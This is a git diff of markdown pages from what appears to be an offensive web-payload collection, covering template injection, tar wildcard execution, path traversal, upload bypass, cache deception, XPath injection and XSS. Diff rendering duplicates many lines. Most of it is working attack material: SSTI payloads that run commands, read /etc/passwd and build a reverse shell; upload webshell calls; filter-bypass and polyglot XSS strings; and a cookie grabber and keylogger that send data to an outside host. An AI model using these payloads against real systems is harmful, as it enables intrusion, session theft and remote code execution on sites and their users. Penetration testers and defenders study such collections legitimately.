ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
``` ```
## Jade / Codepen ## Jade / Codepen
```python ```python
- var x = root.process - var x = root.process
- x = x.mainModule.require - x = x.mainModule.require
@ -92,6 +106,7 @@ ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
``` ```
## Velocity ## Velocity
```python ```python
#set($str=$class.inspect("java.lang.String").type) #set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type) #set($chr=$class.inspect("java.lang.Character").type)
@ -104,6 +119,7 @@ $str.valueOf($chr.toChars($out.read()))
``` ```
## Mako ## Mako
```python ```python
<% <%
import os import os
@ -112,13 +128,13 @@ x=os.popen('id').read()
${x} ${x}
``` ```
## Jinja2 ## Jinja2
[Official website](http://jinja.pocoo.org/) [Official website](http://jinja.pocoo.org/)
> Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed.
### Jinja 2 - Basic injection
### Basic injection
```python ```python
{{4*4}}[[5*5]] {{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777 {{7*'7'}} would result in 7777777
@ -126,7 +142,9 @@ ${x}
Jinja2 is used by Python Web Frameworks such as Django or Flask. Jinja2 is used by Python Web Frameworks such as Django or Flask.
The above injections have been tested on Flask application. The above injections have been tested on Flask application.
### Template format
### Jinja2 - Template format
```python ```python
{% extends "layout.html" %} {% extends "layout.html" %}
{% block body %} {% block body %}
@ -139,12 +157,14 @@ The above injections have been tested on Flask application.
``` ```
### Dump all used classes ### Jinja2 - Dump all used classes
```python ```python
{{ ''.__class__.__mro__[2].__subclasses__() }} {{ ''.__class__.__mro__[2].__subclasses__() }}
``` ```
### Dump all config variables ### Jinja2 - Dump all config variables
```python ```python
{% for key, value in config.iteritems() %} {% for key, value in config.iteritems() %}
<dt>{{ key|e }}</dt> <dt>{{ key|e }}</dt>
@ -152,23 +172,29 @@ The above injections have been tested on Flask application.
{% endfor %} {% endfor %}
``` ```
### Read remote file ### Jinja2 - Read remote file
```python ```python
# ''.__class__.__mro__[2].__subclasses__()[40] = File class # ''.__class__.__mro__[2].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
``` ```
### Write into remote file ### Jinja2 - Write into remote file
```python ```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
``` ```
### Remote Code Execution via reverse shell ### Jinja2 - Remote Code Execution via reverse shell
Listen for connexion Listen for connexion
```
```bash
nv -lnvp 8000 nv -lnvp 8000
``` ```
Inject this template Inject this template
```python ```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # load the evil config
@ -176,16 +202,19 @@ Inject this template
``` ```
## AngularJS ## AngularJS
### Basic injection
### AngularJS - Basic injection
```javascript ```javascript
$eval('1+1') $eval('1+1')
{{1+1}} {{1+1}}
``` ```
## Thanks to ## Thanks to
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
* [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/) * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/) * [Yahoo! RCE via Spring Engine SSTI](https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/)
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98) * [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf) * [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/) * [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)

View File

@ -1,14 +1,19 @@
# TAR Command Execution # TAR Command Execution
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and thats where the wildcard comes in handy.
By using tar with checkpoint-action options, a specified action can be used after a checkpoint. This action could be a malicious shell script that could be used for executing arbitrary commands under the user who starts tar. “Tricking” root to use the specific options is quite easy, and thats where the wildcard comes in handy.
## Exploit ## Exploit
These files work against a "tar *" These files work against a "tar *"
```
```powershell
--checkpoint=1 --checkpoint=1
--checkpoint-action=exec=sh shell.sh --checkpoint-action=exec=sh shell.sh
shell.sh (your exploit code is here) shell.sh (your exploit code is here)
``` ```
## Thanks to ## Thanks to
*
* [Exploiting wildcards on Linux - Berislav Kucan](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
* [Code Execution With Tar Command - p4pentest](http://p4pentest.in/2016/10/19/code-execution-with-tar-command/)
* [Back To The Future: Unix Wildcards Gone Wild - Leon Juranic](http://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt)

View File

@ -1,9 +1,12 @@
# Traversal Directory # Traversal Directory
A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs. A directory traversal consists in exploiting insufficient security validation / sanitization of user-supplied input file names, so that characters representing "traverse to parent directory" are passed through to the file APIs.
## Exploit ## Exploit
Basic Basic
```
```powershell
../ ../
..\ ..\
..\/ ..\/
@ -17,27 +20,29 @@ Basic
``` ```
16 bit Unicode encoding 16 bit Unicode encoding
```
```powershell
. = %u002e . = %u002e
/ = %u2215 / = %u2215
\ = %u2216 \ = %u2216
``` ```
Double URL encoding Double URL encoding
```
```powershell
. = %252e . = %252e
/ = %252f / = %252f
\ = %255c \ = %255c
``` ```
UTF-8 Unicode encoding UTF-8 Unicode encoding
```
```powershell
. = %c0%2e, %e0%40%ae, %c0ae . = %c0%2e, %e0%40%ae, %c0ae
/ = %c0%af, %e0%80%af, %c0%2f / = %c0%af, %e0%80%af, %c0%2f
\ = %c0%5c, %c0%80%5c \ = %c0%5c, %c0%80%5c
``` ```
## Thanks to ## Thanks to
* https://twitter.com/huykha10/status/962419695470174208
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)

View File

@ -1,16 +1,20 @@
# Upload # Upload
Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
## Exploits ## Exploits
Image Tragik
``` ### Image Tragik
```powershell
HTTP Request HTTP Request
Reverse Shell Reverse Shell
Touch command Touch command
``` ```
PHP Extension ### PHP Extension
```
```powershell
.php .php
Less known extension Less known extension
@ -24,26 +28,30 @@ Double extension
.png.php .png.php
``` ```
PNG Bypass a resize - Upload the picture and use a local file inclusion ### PNG Bypass a resize
```
Upload the picture and use a local file inclusion
```powershell
You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute. You can use it by specifying $_GET[0] as shell_exec and passing a $_POST[1] parameter with the shell command to execute.
curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'" curl 'http://localhost/b.php?0=shell_exec' --data "1='ls'"
curl 'http://localhost/test.php?0=system' --data "1='ls'" curl 'http://localhost/test.php?0=system' --data "1='ls'"
``` ```
JPG Bypass a resize - Upload the picture and use a local file inclusion ### JPG Bypass a resize
```
Upload the picture and use a local file inclusion
```powershell
http://localhost/test.php?c=ls http://localhost/test.php?c=ls
``` ```
XSS via SWF ### XSS via SWF
```
As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.
As you may already know, it is possible to make a website vulnerable to XSS if you can upload/include a SWF file into that website. I am going to represent this SWF file that you can use in your PoCs.
This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either. This method is based on [1] and [2], and it has been tested in Google Chrome, Mozilla Firefox, IE9/8; there should not be any problem with other browsers either.
Examples: ```powershell
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(?js=history.go(-1),_self);} IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(?js=history.go(-1),_self);}
@ -52,4 +60,5 @@ IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(invalidfileinvali
``` ```
## Thanks to ## Thanks to
* Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil * Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil

View File

@ -1,26 +1,26 @@
# Web Cache Deception Attack # Web Cache Deception Attack
## Exploit ## Exploit
```
1.Browser requests http://www.example.com/home.php/non-existent.css. 1. Browser requests `http://www.example.com/home.php/non-existent.css`.
2.Server returns the content of http://www.example.com/home.php, most probably with HTTP caching headers that instruct to not cache this page. 2. Server returns the content of `http://www.example.com/home.php`, most probably with HTTP caching headers that instruct to not cache this page.
3.The response goes through the proxy. 3. The response goes through the proxy.
4.The proxy identifies that the file has a css extension. 4. The proxy identifies that the file has a css extension.
5.Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside. 5. Under the cache directory, the proxy creates a directory named home.php, and caches the imposter "CSS" file (non-existent.css) inside.
```
## Methodology of the attack - example ## Methodology of the attack - example
```
1. Normal browsing, visit home : https://www.example.com/myaccount/home/
2. Open the malicious link : https://www.example.com/myaccount/home/malicious.css
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : https://www.paypal.com/myaccount/home/malicous.css
5. The content of the cache is displayed
```
[![YOUTUBE DEMO](https://img.youtube.com/vi/pLte7SomUB8/0.jpg)](https://www.youtube.com/watch?v=pLte7SomUB8) 1. Normal browsing, visit home : `https://www.example.com/myaccount/home/`
2. Open the malicious link : `https://www.example.com/myaccount/home/malicious.css`
3. The page is displayed as /home and the cache is saving the page
4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
5. The content of the cache is displayed
[![YOUTUBE DEMO](https://img.youtube.com/vi/pLte7SomUB8/0.jpg)](https://www.youtube.com/watch?v=pLte7SomUB8)
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
## Thanks to ## Thanks to
* [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html) * [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning) * [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)

View File

@ -1,9 +1,12 @@
# XPATH injection # XPATH injection
XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents. XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.
## Exploitation ## Exploitation
Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=" +vuln_var1+ "']/account/text())"
``` Similar to SQL : `"string(//user[name/text()='" +vuln_var1+ "' and password/text()=" +vuln_var1+ "']/account/text())"`
```sql
' or '1'='1 ' or '1'='1
' or ''=' ' or ''='
x' or 1=1 or 'x'='y x' or 1=1 or 'x'='y
@ -20,7 +23,8 @@ x' or name()='username' or 'x'='y
``` ```
## Blind Exploitation ## Blind Exploitation
```
```sql
1. Size of a string 1. Size of a string
and string-length(account)=SIZE_INT and string-length(account)=SIZE_INT
@ -29,7 +33,7 @@ substring(//user[userid=5]/username,2,1)=CHAR_HERE
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE) substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
``` ```
## Thanks to ## Thanks to
* [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010)) * [OWASP XPATH Injection](https://www.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
* [XPATH Blind Explorer](http://code.google.com/p/xpath-blind-explorer/) * [XPATH Blind Explorer](http://code.google.com/p/xpath-blind-explorer/)

View File

@ -1,18 +1,20 @@
# Cross Site Scripting # Cross Site Scripting
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users. Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications. XSS enables attackers to inject client-side scripts into web pages viewed by other users.
- [Exploit code or POC](#exploit-code-or-poc) - [Exploit code or POC](#exploit-code-or-poc)
- [Identify an XSS endpoint](#identify-an-xss-endpoint) - [Identify an XSS endpoint](#identify-an-xss-endpoint)
- [XSS in HTML/Applications](#xss-in-htmlapplications) - [XSS in HTML/Applications](#xss-in-htmlapplications)
- [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri) - [XSS in wrappers javascript and data URI](#xss-in-wrappers-javascript-and-data-uri)
- [XSS in files](#xss-in-files) - [XSS in files](#xss-in-files)
- [Polyglot XSS](#polyglot-xss) - [Polyglot XSS](#polyglot-xss)
- [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads) - [Filter Bypass and Exotic payloads](#filter-bypass-and-exotic-payloads)
- [Common WAF Bypas](#common-waf-bypass) - [Common WAF Bypas](#common-waf-bypass)
## Exploit code or POC ## Exploit code or POC
Cookie grabber for XSS Cookie grabber for XSS
```php ```php
<?php <?php
// How to use it // How to use it
@ -28,26 +30,30 @@ fclose($fp);
``` ```
Keylogger for XSS Keylogger for XSS
```html ```html
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'> <img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
``` ```
More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all): More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all](http://www.xss-payloads.com/payloads-list.html?a#category=all):
- [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
- [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
- [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
- [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
- [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
- [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)
- [Taking screenshots using XSS and the HTML5 Canvas](https://www.idontplaydarts.com/2012/04/taking-screenshots-using-xss-and-the-html5-canvas/)
- [JavaScript Port Scanner](http://www.gnucitizen.org/blog/javascript-port-scanner/)
- [Network Scanner](http://www.xss-payloads.com/payloads/scripts/websocketsnetworkscan.js.html)
- [.NET Shell execution](http://www.xss-payloads.com/payloads/scripts/dotnetexec.js.html)
- [Redirect Form](http://www.xss-payloads.com/payloads/scripts/redirectform.js.html)
- [Play Music](http://www.xss-payloads.com/payloads/scripts/playmusic.js.html)
## Identify an XSS endpoint ## Identify an XSS endpoint
```javascript ```javascript
<script>debugger;</script> <script>debugger;</script>
``` ```
## XSS in HTML/Applications ## XSS in HTML/Applications
XSS Basic XSS Basic
```javascript ```javascript
Basic payload Basic payload
<script>alert('XSS')</script> <script>alert('XSS')</script>
@ -75,6 +81,7 @@ Svg payload
``` ```
XSS for HTML5 XSS for HTML5
```javascript ```javascript
<body onload=alert(/XSS/.source)> <body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)> <input autofocus onfocus=alert(1)>
@ -90,6 +97,7 @@ XSS for HTML5
``` ```
XSS using script tag (external payload) XSS using script tag (external payload)
```javascript ```javascript
<script src=14.rs> <script src=14.rs>
you can also specify an arbitratry payload with 14.rs/#payload you can also specify an arbitratry payload with 14.rs/#payload
@ -97,6 +105,7 @@ e.g: 14.rs/#alert(document.domain)
``` ```
XSS in META tag XSS in META tag
```javascript ```javascript
Base64 encoded Base64 encoded
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
@ -108,32 +117,37 @@ With an additional URL
``` ```
XSS in Hidden input XSS in Hidden input
```javascript ```javascript
<input type="hidden" accesskey="X" onclick="alert(1)"> <input type="hidden" accesskey="X" onclick="alert(1)">
Use CTRL+SHIFT+X to trigger the onclick event Use CTRL+SHIFT+X to trigger the onclick event
``` ```
DOM XSS DOM XSS
```javascript ```javascript
#"><img src=/ onerror=alert(2)> #"><img src=/ onerror=alert(2)>
``` ```
XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic) XSS in JS Context (payload without quote/double quote from [@brutelogic](https://twitter.com/brutelogic)
```javascript ```javascript
-(confirm)(document.domain)// -(confirm)(document.domain)//
; alert(1);// ; alert(1);//
``` ```
XSS URL XSS URL
```javascript ```javascript
URL/<svg onload=alert(1)> URL/<svg onload=alert(1)>
URL/<script>alert('XSS');// URL/<script>alert('XSS');//
URL/<input autofocus onfocus=alert(1)> URL/<input autofocus onfocus=alert(1)>
``` ```
## XSS in wrappers javascript and data URI ## XSS in wrappers javascript and data URI
XSS with javascript: XSS with javascript:
```javascript ```javascript
javascript:prompt(1) javascript:prompt(1)
@ -160,6 +174,7 @@ javascript://anything%0D%0A%0D%0Awindow.alert(1)
``` ```
XSS with data: XSS with data:
```javascript ```javascript
data:text/html,<script>alert(0)</script> data:text/html,<script>alert(0)</script>
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
@ -167,19 +182,23 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+
``` ```
XSS with vbscript: only IE XSS with vbscript: only IE
```javascript ```javascript
vbscript:msgbox("XSS") vbscript:msgbox("XSS")
``` ```
## XSS in files ## XSS in files
** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup. ** NOTE:** The XML CDATA section is used here so that the JavaScript payload will not be treated as XML markup.
```xml ```xml
<name> <name>
<value><![CDATA[<script>confirm(document.domain)</script>]]></value> <value><![CDATA[<script>confirm(document.domain)</script>]]></value>
</name> </name>
``` ```
XSS in XML
XSS in XML
```xml ```xml
<html> <html>
<head></head> <head></head>
@ -189,8 +208,8 @@ XSS in XML
</html> </html>
``` ```
XSS in SVG XSS in SVG
```xml ```xml
<?xml version="1.0" standalone="no"?> <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
@ -204,32 +223,33 @@ XSS in SVG
``` ```
XSS in SVG (short) XSS in SVG (short)
```javascript ```javascript
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg> <svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg> <svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg> <svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>
``` ```
XSS in SWF flash application XSS in SWF flash application
```
```powershell
Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain); Browsers other than IE: http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);
IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(?js=history.go(-1),_self);} IE8: http://0me.me/demo/xss/xssproject.swf?js=try{alert(document.domain)}catch(e){ window.open(?js=history.go(-1),_self);}
IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(invalidfileinvalidfileinvalidfile,target);setTimeout(alert(w.document.location);w.close();,1); IE9: http://0me.me/demo/xss/xssproject.swf?js=w=window.open(invalidfileinvalidfileinvalidfile,target);setTimeout(alert(w.document.location);w.close();,1);
InsecureFlashFile.swf InsecureFlashFile.swf
location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/ location to url: InsecureFlashFile.swf?a=location&c=http://www.google.com/
open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/ open url to new window: InsecureFlashFile.swf?a=open&c=http://www.google.com/
http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/ http request to url: InsecureFlashFile.swf?a=get&c=http://www.google.com/
eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain) eval js codz: InsecureFlashFile.swf?a=eval&c=alert(document.domain)
``` ```
more payloads in ./files more payloads in ./files
XSS in SWF flash application XSS in SWF flash application
```javascript ```javascript
flashmediaelement.swf?jsinitfunctio%gn=alert`1` flashmediaelement.swf?jsinitfunctio%gn=alert`1`
flashmediaelement.swf?jsinitfunctio%25gn=alert(1) flashmediaelement.swf?jsinitfunctio%25gn=alert(1)
@ -249,8 +269,8 @@ flashcanvas.swf?id=test\"));}catch(e){alert(document.domain)}//
phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}// phpmyadmin/js/canvg/flashcanvas.swf?id=test\”));}catch(e){alert(document.domain)}//
``` ```
XSS in CSS XSS in CSS
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -268,29 +288,34 @@ div {
</html> </html>
``` ```
## Polyglot XSS ## Polyglot XSS
Polyglot XSS - 0xsobky Polyglot XSS - 0xsobky
```javascript ```javascript
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
``` ```
Polyglot XSS - Ashar Javed Polyglot XSS - Ashar Javed
```javascript ```javascript
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg"> ">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
``` ```
Polyglot XSS - Mathias Karlsson Polyglot XSS - Mathias Karlsson
```javascript ```javascript
" onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)// " onclick=alert(1)//<button onclick=alert(1)//> */ alert(1)//
``` ```
Polyglot XSS - Rsnake Polyglot XSS - Rsnake
```javascript ```javascript
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT> ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
``` ```
Polyglot XSS - Daniel Miessler Polyglot XSS - Daniel Miessler
```javascript ```javascript
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/* javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
@ -307,30 +332,34 @@ javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514) Polyglot XSS - [@s0md3v](https://twitter.com/s0md3v/status/966175714302144514)
![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg) ![https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg](https://pbs.twimg.com/media/DWiLk3UX4AE0jJs.jpg)
```javascript ```javascript
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``> -->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
``` ```
![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large) ![https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large](https://pbs.twimg.com/media/DWfIizMVwAE2b0g.jpg:large)
```javascript ```javascript
<svg%0Ao%00nload=%09((pro\u006dpt))()// <svg%0Ao%00nload=%09((pro\u006dpt))()//
``` ```
## Filter Bypass and exotic payloads ## Filter Bypass and exotic payloads
Bypass case sensitive Bypass case sensitive
```javascript ```javascript
<sCrIpt>alert(1)</ScRipt> <sCrIpt>alert(1)</ScRipt>
``` ```
Bypass tag blacklist Bypass tag blacklist
```javascript ```javascript
<script x> <script x>
<script x>alert('XSS')<script y> <script x>alert('XSS')<script y>
``` ```
Bypass word blacklist with code evaluation Bypass word blacklist with code evaluation
```javascript ```javascript
eval('ale'+'rt(0)'); eval('ale'+'rt(0)');
Function("ale"+"rt(1)")(); Function("ale"+"rt(1)")();
@ -341,18 +370,20 @@ Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```; Set.constructor`al\x65rt\x2814\x29```;
``` ```
Bypass with incomplete html tag - IE/Firefox/Chrome/Safari Bypass with incomplete html tag - IE/Firefox/Chrome/Safari
```javascript ```javascript
<img src='1' onerror='alert(0)' < <img src='1' onerror='alert(0)' <
``` ```
Bypass quotes for string Bypass quotes for string
```javascript ```javascript
String.fromCharCode(88,83,83) String.fromCharCode(88,83,83)
``` ```
Bypass quotes in script tag Bypass quotes in script tag
```javascript ```javascript
http://localhost/bla.php?test=</script><script>alert(1)</script> http://localhost/bla.php?test=</script><script>alert(1)</script>
<html> <html>
@ -363,6 +394,7 @@ http://localhost/bla.php?test=</script><script>alert(1)</script>
``` ```
Bypass quotes in mousedown event Bypass quotes in mousedown event
```javascript ```javascript
<a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a> <a href="" onmousedown="var name = '&#39;;alert(1)//'; alert('smthg')">Link</a>
@ -370,38 +402,45 @@ You can bypass a single quote with &#39; in an on mousedown event handler
``` ```
Bypass dot filter Bypass dot filter
```javascript ```javascript
<script>window['alert'](document['domain'])<script> <script>window['alert'](document['domain'])<script>
``` ```
Bypass parenthesis for string - Firefox Bypass parenthesis for string - Firefox
```javascript ```javascript
alert`1` alert`1`
``` ```
Bypass onxxxx= blacklist Bypass onxxxx= blacklist
```javascript ```javascript
<object onafterscriptexecute=confirm(0)> <object onafterscriptexecute=confirm(0)>
<object onbeforescriptexecute=confirm(0)> <object onbeforescriptexecute=confirm(0)>
